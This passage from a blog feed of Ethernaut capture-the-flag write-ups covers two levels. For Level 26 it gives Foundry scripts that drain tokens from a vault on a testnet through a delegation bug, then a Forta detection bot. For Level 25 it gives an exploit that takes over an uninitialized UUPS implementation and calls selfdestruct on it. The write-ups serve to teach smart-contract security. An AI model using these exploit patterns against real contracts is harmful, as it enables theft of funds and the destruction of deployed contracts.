        <span class="hljs-built_in">require</span>(token <span class="hljs-operator">!</span><span class="hljs-operator">=</span> underlying, <span class="hljs-string">"Can't transfer underlying token"</span>);
        token.<span class="hljs-built_in">transfer</span>(sweptTokensRecipient, token.balanceOf(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>)));
    }
}
</code></pre>
<ul>
<li>The function <code>setUnderlying()</code> is setting the address for the underlying token which is <code>DoubleEntryPoint</code> in this case. This can only be called once due to the validating condition in the <code>require()</code> statement. </li>
<li>The function <code>sweepToken()</code> is a goldmine for the attacker. This is taking an ERC20 token contract address as the function argument and making sure that it's not equal to the underlying token (<code>DoubleEntryPoint</code>). Then it's calling the <code>transfer()</code> function on the <code>token</code> address which transfers the Vault's token balance for the token contract specified and sends it to the <code>sweptTokensRecipient</code> address. </li>
<li>The <code>sweptTokensRecipient</code> is not controlled by us and is set during the deployment of the contract inside the constructor. </li>
</ul>
<p>Did you spot the bug yet? If not, no worries. Neither did I on the first try.</p>
<hr />
<h2 id="heading-the-vulnerability">The Vulnerability</h2>
<p>Let's say we are the attackers and we wanted to exploit this contract-vault conjunction and want to drain the <code>CryptoVault</code>. The only function capable of draining the vault is <code>sweepToken</code>. But we can't drain the <code>DET</code> directly due to the input validation. But what if we enter the address of the <code>LGT</code> here?</p>
<p>The Vault will try to call the function <code>LegacyToken.transfer()</code> which directs the flow into the <code>LegacyToken</code> contract. </p>
<p>The <code>LegacyToken</code> will call the overridden function and will make the following call:</p>
<pre><code class="lang-solidity">delegate.delegateTransfer(to, value, <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>); <span class="hljs-operator">=</span><span class="hljs-operator">=</span> DoubleEntryPoint.delegateTransfer(sweptTokensRecipient, CryptoVault<span class="hljs-string">'s Total Balance, CryptoVault'</span>s Address);
</code></pre>
<p>The <code>delegate</code> contract will be <code>DoubleEntryPoint</code> as set in the contract by the owner, and the <code>msg.sender</code> will be the <code>CryptoVault</code> since it sent the transaction to the <code>LegacyToken</code>. The <code>value</code> will be equal to <code>CryptoVault's</code> total balance, i.e., <code>token.balanceOf(address(this))</code>. </p>
<p>Now the execution flow will go to <code>DoubleEntryPoint</code> contract inside the <code>delegateTransfer()</code> function. </p>
<ul>
<li>The <code>onlyDelegateFrom</code> will be bypassed because in this case according to what <code>DoubleEntryPoint</code> contract sees, <code>msg.sender</code> is <code>LegacyToken</code> because it sent the transaction. 
This will cause the underlying tokens (<code>DET</code>) to be swept/drained from the <code>CryptoVault</code> bypassing the validation we had in the vault - <code>require(token != underlying, "Can't transfer underlying token");</code>. </li>
</ul>
<p>Let's try to replicate the attack. </p>
<hr />
<h2 id="heading-the-exploit">The Exploit</h2>
<p>The contract object which Ethernaut gives us in the console is <code>DoubleEntryPoint</code> contract. We can validate this by fetching the address of the <code>CryptoVault</code> and then querying the value of <code>underlying</code>. Let's run a small script to confirm our hypothesis and get the addresses for the vault, DET, and LGT tokens:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">"forge-std/Script.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"../instances/Ilevel26.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">POC</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Script</span> </span>{

     DoubleEntryPoint level26 <span class="hljs-operator">=</span> DoubleEntryPoint(<span class="hljs-number">0xBDc7cd60eca4b6EA63A4e5A37d543Ff803B6D6DA</span>);
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">run</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>{
        vm.startBroadcast();

        <span class="hljs-keyword">address</span> CryptoVault <span class="hljs-operator">=</span> level26.cryptoVault();
        CryptoVault.<span class="hljs-built_in">call</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodeWithSignature</span>(<span class="hljs-string">"underlying()"</span>));
        <span class="hljs-keyword">address</span> LGT <span class="hljs-operator">=</span> level26.delegatedFrom();

        vm.stopBroadcast();
    }
}
</code></pre>
<p>Let's run the script using the following command:</p>
<pre><code>forge script ./script/level26.sol --private-key $PKEY --broadcast --rpc-url $RPC_URL -vvvv
</code></pre><p>It can be seen in the screenshot below that the first address was for the <code>CryptoVault</code> and the next one was fetched from the <code>CryptoVault</code> and which also matches the instance address provided to us by Ethernaut. </p>
<p>The last one is coming from <code>delegatedFrom</code> which should be the address of <code>LegacyToken</code>. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665834917383/0kJP2tZhs.png" alt="image.png" /></p>
<p>Since we got the address of the <code>CryptoVault</code>, let's also confirm on the Goerli explorer to check the number of tokens stored in the vault:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665835311342/_y2Td2Wml.png" alt="image.png" />
So the vault owns 100 tokens each of LGT and DET. Now that we are sure, let's drain all the DET from the vault. Here's our new <a target="_blank" href="https://github.com/az0mb13/ethernaut-foundry/blob/master/script/level26-1.sol">code</a>:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">"forge-std/Script.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"../instances/Ilevel26.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">POC</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Script</span> </span>{

     DoubleEntryPoint level26 <span class="hljs-operator">=</span> DoubleEntryPoint(<span class="hljs-number">0xBDc7cd60eca4b6EA63A4e5A37d543Ff803B6D6DA</span>);
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">run</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>{
        vm.startBroadcast();

        CryptoVault vault <span class="hljs-operator">=</span> CryptoVault(level26.cryptoVault());
        <span class="hljs-keyword">address</span> DET <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(vault.underlying());
        <span class="hljs-keyword">address</span> LGT <span class="hljs-operator">=</span> level26.delegatedFrom();
        vault.sweepToken(IERC20(LGT)); <span class="hljs-comment">//calling sweepToken with LGT address on the CryptoVault</span>

        vm.stopBroadcast();
    }
}
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665843730964/PkXmXvxBc.png" alt="image.png" /></p>
<p>And as expected, the vault was drained of DET tokens which can also be verified on the Etherscan:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665843571597/eWGDqO0tC.png" alt="image.png" /></p>
<hr />
<h2 id="heading-the-mitigation-analysis-forta-bot">The Mitigation Analysis (Forta Bot)</h2>
<p>Let's take a look at the last contract that we skipped earlier:</p>
<h3 id="heading-forta">Forta</h3>
<pre><code class="lang-solidity"><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Forta</span> <span class="hljs-keyword">is</span> <span class="hljs-title">IForta</span> </span>{
    <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> IDetectionBot) <span class="hljs-keyword">public</span> usersDetectionBots;
    <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> <span class="hljs-keyword">uint256</span>) <span class="hljs-keyword">public</span> botRaisedAlerts;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setDetectionBot</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> detectionBotAddress</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> </span>{
            <span class="hljs-built_in">require</span>(<span class="hljs-keyword">address</span>(usersDetectionBots[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>]) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-number">0</span>), <span class="hljs-string">"DetectionBot already set"</span>);
            usersDetectionBots[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">=</span> IDetectionBot(detectionBotAddress);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">notify</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> user, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> msgData</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> </span>{
        <span class="hljs-keyword">if</span>(<span class="hljs-keyword">address</span>(usersDetectionBots[user]) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-number">0</span>)) <span class="hljs-keyword">return</span>;
        <span class="hljs-keyword">try</span> usersDetectionBots[user].handleTransaction(user, msgData) {
                <span class="hljs-keyword">return</span>;
        } <span class="hljs-keyword">catch</span> {}
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">raiseAlert</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> user</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> </span>{
            <span class="hljs-keyword">if</span>(<span class="hljs-keyword">address</span>(usersDetectionBots[user]) <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>) <span class="hljs-keyword">return</span>;
            botRaisedAlerts[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">+</span><span class="hljs-operator">=</span> <span class="hljs-number">1</span>;
    } 
}
</code></pre>
<ul>
<li>The function <code>setDetectionBot()</code> is setting the address of a detection bot for the <code>msg.sender</code> inside <code>usersDetectionBots[msg.sender]</code>. We'll use this to set our own bot address. </li>
<li>The function <code>notify()</code> is calling <code>handleTransaction()</code> function on the bot address. The <code>handleTransaction()</code> function will be implemented by us to handle the conditions for which the alerts will be raised. Note that <code>notify()</code> is being called inside the modifier <code>fortaNotify()</code>. This is how the call data is sent to the bot. </li>
<li>Lastly, the function <code>raiseAlert()</code> is just incrementing the number of alerts for <code>msg.sender</code> by 1. </li>
</ul>
<p>There's an interface as well called <code>IDetectionBot</code> with a single function signature called <code>handleTransaction()</code>. </p>
<pre><code class="lang-solidity"><span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IDetectionBot</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">handleTransaction</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> user, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> msgData</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
}
</code></pre>
<p>We need to build a bot, that will extend the <code>IDetectionBot</code> interface and will implement a function called <code>handleTransaction()</code> that will raise an alert if certain conditions are met. Now onto the condition part. </p>
<hr />
<h2 id="heading-the-detection">The Detection</h2>
<p>We need our bot to detect malicious transactions that are draining the <code>CryptoVault</code> contract. The attack happened using the following steps:</p>
<ol>
<li><code>CryptoVault.sweepToken(LGT)</code> - <code>CryptoVault</code> made a call to the <code>sweepToken</code> function with the address of the <code>LegacyToken</code> contract. </li>
<li>This called the function <code>LegacyToken.transfer(sweptTokensRecipient, CryptoVault's Token Balance);</code>.</li>
<li>Inside the <code>LegacyToken</code>, a call was made to <code>DoubleEntryPoint.delegateTransfer(sweptTokensRecipient, CryptoVault's Total Balance, CryptoVault's Address);</code>. </li>
<li>Now the execution flow will reach the <code>delegateTransfer()</code> function with the address <code>origSender</code> as the address of the <code>CryptoVault</code>. </li>
</ol>
<p>Based on the above observation, we can create a detection to raise an alert if the value of <code>origSender</code> == value of <code>CryptoVault</code>. </p>
<hr />
<h2 id="heading-bot-development">Bot Development</h2>
<p>When the function <code>delegateTransfer()</code> is called, the modifier <code>fortaNotify()</code> is taking in <code>msg.data</code> and passing it to the <code>forta.notify()</code> function. We can make use of this <code>msg.data</code> and create our bot logic. </p>
<p>To proceed further, we must learn how the <code>msg.data</code> is organized and received by the bot. </p>
<ul>
<li>Initially, the <code>msg.data</code> received by the modifier <code>fortaNotify()</code> will contain the following function signature - <code>function delegateTransfer(address to, uint256 value, address origSender)</code>. </li>
<li>This is then sent to the <code>notify()</code> function which is making a call to the <code>handleTransaction(user, msgData)</code> function. This will change the <code>msg.data</code> as received by our function. </li>
<li>The final <code>msg.data</code> will contain the <code>msg.data</code> for the <code>function handleTransaction(address user, bytes calldata msgData) external;</code> and inside the second argument <code>bytes calldata msgData</code> will be our actual <code>msg.data</code> for the <code>delegateTransfer()</code> function. This is what we need to access in order to get the value of <code>origSender</code>. </li>
</ul>
<p>To learn more about how this is arranged, refer to the second half of the writeup <a target="_blank" href="https://dev.to/erhant/ethernaut-26-double-entry-point-1nfp">here</a>.</p>
<p>The following table shows the arrangement of calldata as seen by our Detection bot which we'll develop. The value which we want to focus on is <code>origSender</code> on <code>0xa8</code> position. </p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Position</td><td>Bytes/Length</td><td>Variable Type</td><td>Value</td></tr>
</thead>
<tbody>
<tr>
<td>0x00</td><td>4</td><td>bytes4</td><td>Function selector of <code>handleTransaction(address,bytes)</code> == <code>0x220ab6aa</code></td></tr>
<tr>
<td>0x04</td><td>32</td><td>address</td><td><code>user</code> address</td></tr>
<tr>
<td>0x24</td><td>32</td><td>uint256</td><td>Offset of <code>msgData</code></td></tr>
<tr>
<td>0x44</td><td>32</td><td>uint256</td><td>Length of <code>msgData</code></td></tr>
<tr>
<td>0x64</td><td>4</td><td>bytes4</td><td>Function selector of <code>delegateTransfer(address,uint256,address)</code> == <code>0x9cd1a121</code></td></tr>
<tr>
<td>0x68</td><td>32</td><td>address</td><td><code>to</code> parameter address</td></tr>
<tr>
<td>0x88</td><td>32</td><td>uint256</td><td><code>value</code> parameter</td></tr>
<tr>
<td>0xA8</td><td>32</td><td>address</td><td><code>origSender</code> parameter address (WE NEED THIS)</td></tr>
<tr>
<td>0xC8</td><td>28</td><td>bytes</td><td>zero-padding as per the 32-byte arguments rule of encoding bytes</td></tr>
</tbody>
</table>
</div><p>Function signatures can be obtained using the following command:</p>
<pre><code>cast sig <span class="hljs-string">"handleTransaction(address,bytes)"</span>
</code></pre><p>From the table above, it can be seen that the first half deals with the function <code>handleTransaction()</code> and the next half is its argument <code>msgData</code> that contains <code>delegateTransfer()</code> call with the parameter <code>origSender</code> which we need to extract. </p>
<hr />
<h2 id="heading-the-final-code">The Final Code</h2>
<p>Here's how our <a target="_blank" href="https://github.com/az0mb13/ethernaut-foundry/blob/master/src/level26.sol">Alert Bot</a> looks:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IDetectionBot</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">handleTransaction</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> user, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> msgData</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
}

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IForta</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setDetectionBot</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> detectionBotAddress</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">notify</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> user, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> msgData</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">raiseAlert</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> user</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">AlertBot</span> <span class="hljs-keyword">is</span> <span class="hljs-title">IDetectionBot</span> </span>{
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">private</span> cryptoVault;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _cryptoVault</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        cryptoVault <span class="hljs-operator">=</span> _cryptoVault;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">handleTransaction</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> user, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> msgData</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> </span>{

        <span class="hljs-keyword">address</span> origSender;
        <span class="hljs-keyword">assembly</span> {
            origSender <span class="hljs-operator">:=</span> <span class="hljs-built_in">calldataload</span>(<span class="hljs-number">0xa8</span>)
        }

        <span class="hljs-keyword">if</span>(origSender <span class="hljs-operator">=</span><span class="hljs-operator">=</span> cryptoVault) {
            IForta(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>).raiseAlert(user);
        }
    }
}
</code></pre>
<ul>
<li>We have copied the codes for both interfaces. The variable <code>cryptoVault</code> is holding the address of the <code>CryptoVault</code> contract. </li>
<li>The opcode <code>calldataload(0xa8)</code> extracts 32 bytes from the calldata starting from the <code>0xa8</code> byte. </li>
<li>This is then compared to check if the <code>CryptoVault</code> is the one in <code>origSender</code> and an alert is raised. </li>
</ul>
<p>Let's deploy this bot contract using the following command:</p>
<pre><code>forge create AlertBot --private-key $PKEY --rpc-url $RPC_URL --<span class="hljs-keyword">constructor</span>-args &lt;CryptoVault's_Address&gt;
</code></pre><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665851125274/derbQoM7S.png" alt="image.png" /></p>
<p>Now we just need to send a call to register our bot using the following <a target="_blank" href="https://github.com/az0mb13/ethernaut-foundry/blob/master/script/level26-2.sol">script</a>:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">"forge-std/Script.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"../instances/Ilevel26.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">POC</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Script</span> </span>{

     DoubleEntryPoint level26 <span class="hljs-operator">=</span> DoubleEntryPoint(<span class="hljs-number">0xBDc7cd60eca4b6EA63A4e5A37d543Ff803B6D6DA</span>);
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">run</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>{
        vm.startBroadcast();

        level26.forta().setDetectionBot(<span class="hljs-number">0x3D078c608A1E80B13DEAf7a3b25d7F9AB3FCA0f3</span>);

        vm.stopBroadcast();
    }
}
</code></pre>
<p>Running the script using the following command:</p>
<pre><code>forge script ./script/level26<span class="hljs-number">-2.</span>sol --private-key $PKEY --broadcast --rpc-url $RPC_URL -vvvv
</code></pre><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665851472640/lZESPD3Iv.png" alt="image.png" /></p>
<p>Our bot is registered and now the attacker won't be able to sweep the tokens because whenever they try calling the CryptoVault's <code>sweepToken()</code> function to drain DET, our bot will raise an alert and revert the transaction. 
The instance can now be submitted to finish the level. </p>
<blockquote>
<p>My Github Repository containing all the codes: github.com/az0mb13/ethernaut-foundry</p>
<p>My article on setting up your workspace to get started with Ethernaut using Foundry and Solidity - https://blog.dixitaditya.com/getting-started-with-ethernaut-hello-ethernaut</p>
</blockquote>
<hr />
<h4 id="heading-references">References</h4>
<ul>
<li>https://dev.to/erhant/ethernaut-26-double-entry-point-1nfp</li>
<li>https://stermi.xyz/blog/ethernaut-challenge-24-solution-double-entry-point</li>
<li>https://docs.soliditylang.org/en/v0.8.15/abi-spec.html#abi</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Ethernaut Level 25 - Motorbike]]></title><description><![CDATA[Objectives
Our objective for this level is to call selfdestruct() on the implementation contract Engine and make the Proxy contract unusable. Let's see how we can do that. 

Analysis
This level is using a proxy pattern called UUPS (Universal Upgradea...]]></description><link>https://blog.dixitaditya.com/ethernaut-level-25-motorbike</link><guid isPermaLink="true">https://blog.dixitaditya.com/ethernaut-level-25-motorbike</guid><category><![CDATA[Security]]></category><category><![CDATA[Ethernaut]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Web3]]></category><category><![CDATA[Ethereum]]></category><dc:creator><![CDATA[Aditya Dixit]]></dc:creator><pubDate>Sat, 10 Sep 2022 14:11:20 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1662819049349/iGpAYYWOg.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-objectives">Objectives</h2>
<p>Our objective for this level is to call <code>selfdestruct()</code> on the implementation contract <code>Engine</code> and make the Proxy contract unusable. Let's see how we can do that. </p>
<hr />
<h2 id="heading-analysis">Analysis</h2>
<p>This level is using a proxy pattern called <a target="_blank" href="https://forum.openzeppelin.com/t/uups-proxies-tutorial-solidity-javascript/7786">UUPS</a> (Universal Upgradeable Proxy Standard). The last one which we saw in <a target="_blank" href="https://blog.dixitaditya.com/ethernaut-level-24-puzzle-wallet">Level 24</a> was a Transparent proxy pattern. </p>
<p>The difference is that in a UUPS proxy pattern, the contract upgrade logic will also be coded in the implementation contract and not the proxy contract. This allows the user to save some gas. This is how the structure looks:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1662815219918/duvwx0juR.png" alt="image.png" /></p>
<p>The other difference is that there's a storage slot defined in the proxy contract that stores the address of the logic contract. This is updated every time the logic contract is upgraded. This is to prevent storage collision. More on this can be read on <a target="_blank" href="https://eips.ethereum.org/EIPS/eip-1967">EIP-1967</a>. </p>
<p>In our case, the proxy contract is the Motorbike and the implementation/logic contract is Engine. 
When we take a look at the proxy contract, we can see the storage slot defined as:</p>
<pre><code class="lang-solidity"><span class="hljs-keyword">bytes32</span> <span class="hljs-keyword">internal</span> <span class="hljs-keyword">constant</span> _IMPLEMENTATION_SLOT <span class="hljs-operator">=</span> <span class="hljs-number">0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc</span>;
</code></pre>
<p>This slot is storing the address of the implementation contract. </p>
<p>When we look at the Engine contract, we can see that there's no <code>selfdestruct()</code> defined in the contract code. So how will we make a call to it? We will try to upgrade the implementation contract to point it to our deployed attacker contract. </p>
<p>To upgrade the logic, the Engine contract defines a function called <code>upgradeToAndCall()</code>:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">upgradeToAndCall</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> newImplementation, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> data</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
    _authorizeUpgrade();
    _upgradeToAndCall(newImplementation, data);
}
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_authorizeUpgrade</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> </span>{
    <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> upgrader, <span class="hljs-string">"Can't upgrade"</span>);
}
</code></pre>
<p>This is calling <code>_authorizeUpgrade()</code> to check if the <code>msg.sender</code> is <code>upgrader</code>. Therefore, to upgrade the contract we need to make sure we are <code>upgrader</code>. So how do we become an upgrader? Let's take a look at the <code>initialize()</code> function:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">initialize</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title">initializer</span> </span>{
    horsePower <span class="hljs-operator">=</span> <span class="hljs-number">1000</span>;
    upgrader <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
}
</code></pre>
<p><code>initialize()</code> is a special function used in UUPS-based contracts. And, along with <code>initializer</code> modifier, this acts as a constructor which can only be called once. (This is checked in the <code>initializer</code> modifier). </p>
<p>Something which should be observed here is that in this implementation, the <code>initialize()</code> function is supposed to be called by the proxy contract which it is doing. You can see in its constructor. But remember that it is doing so using a <code>delegatecall()</code>. And when a caller contract makes a delegate call to another contract, the caller contract's storage slots are updated using the code of the logic contract. </p>
<p>This means that the <code>delegatecall()</code> is being made in the context of the proxy contract and not the implementation.  </p>
<p>So it is absolutely true that the proxy contract can only call the <code>initialize()</code> once and it'll update its storage values but what if we are to find the deployed address of the implementation contract and call the <code>initialize()</code> manually? In the context of the implementation contract, this has not yet been called. So if we are to call the function, our user (<code>msg.sender</code>) will become the upgrader. </p>
<p>Once we become the <code>upgrader</code> we can just call the <code>upgradeToAndCall()</code> with our own contract's address in which we can create a <code>selfdestruct()</code> function. This should be enough to solve the level. </p>
<hr />
<h2 id="heading-the-exploit">The Exploit</h2>
<p>Lets first create our <a target="_blank" href="https://github.com/az0mb13/ethernaut-foundry/blob/master/src/level25.sol">attacker contract</a> which will  house the <code>selfdestruct()</code> function:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Destructive</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">killed</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-built_in">selfdestruct</span>(<span class="hljs-keyword">address</span>(<span class="hljs-number">0</span>));
    }    
}
</code></pre>
<p>Just a simple contract with <code>selfdestruct()</code> being called in the <code>killed()</code> external function. </p>
<p>This is how our <a target="_blank" href="https://github.com/az0mb13/ethernaut-foundry/blob/master/script/level25.sol">exploit script</a> looks:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">"forge-std/Script.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"../instances/Ilevel25.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">POC</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Script</span> </span>{

     Motorbike level25 <span class="hljs-operator">=</span> Motorbike(<span class="hljs-number">0xE7BaFbC26565E1047d1755B820Fa99Fb463a5BF4</span>);
     Engine engineAddress <span class="hljs-operator">=</span> Engine(<span class="hljs-keyword">address</span>(<span class="hljs-keyword">uint160</span>(<span class="hljs-keyword">uint256</span>(vm.load(<span class="hljs-keyword">address</span>(level25), <span class="hljs-number">0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc</span>)))));
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">run</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>{
        vm.startBroadcast();

        engineAddress.initialize();
        console.log(<span class="hljs-string">"Upgrader is :"</span>, engineAddress.upgrader());
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> encodedData <span class="hljs-operator">=</span> <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodeWithSignature</span>(<span class="hljs-string">"killed()"</span>);
        engineAddress.upgradeToAndCall(<span class="hljs-number">0x04dE0eA8556C85b94E61bC83B43d4FFb6DdC30F1</span>, encodedData);

        vm.stopBroadcast();
    }
}
</code></pre>
<ul>
<li><code>Motorbike level25</code> - This is the address of the Proxy contract Motorbike. </li>
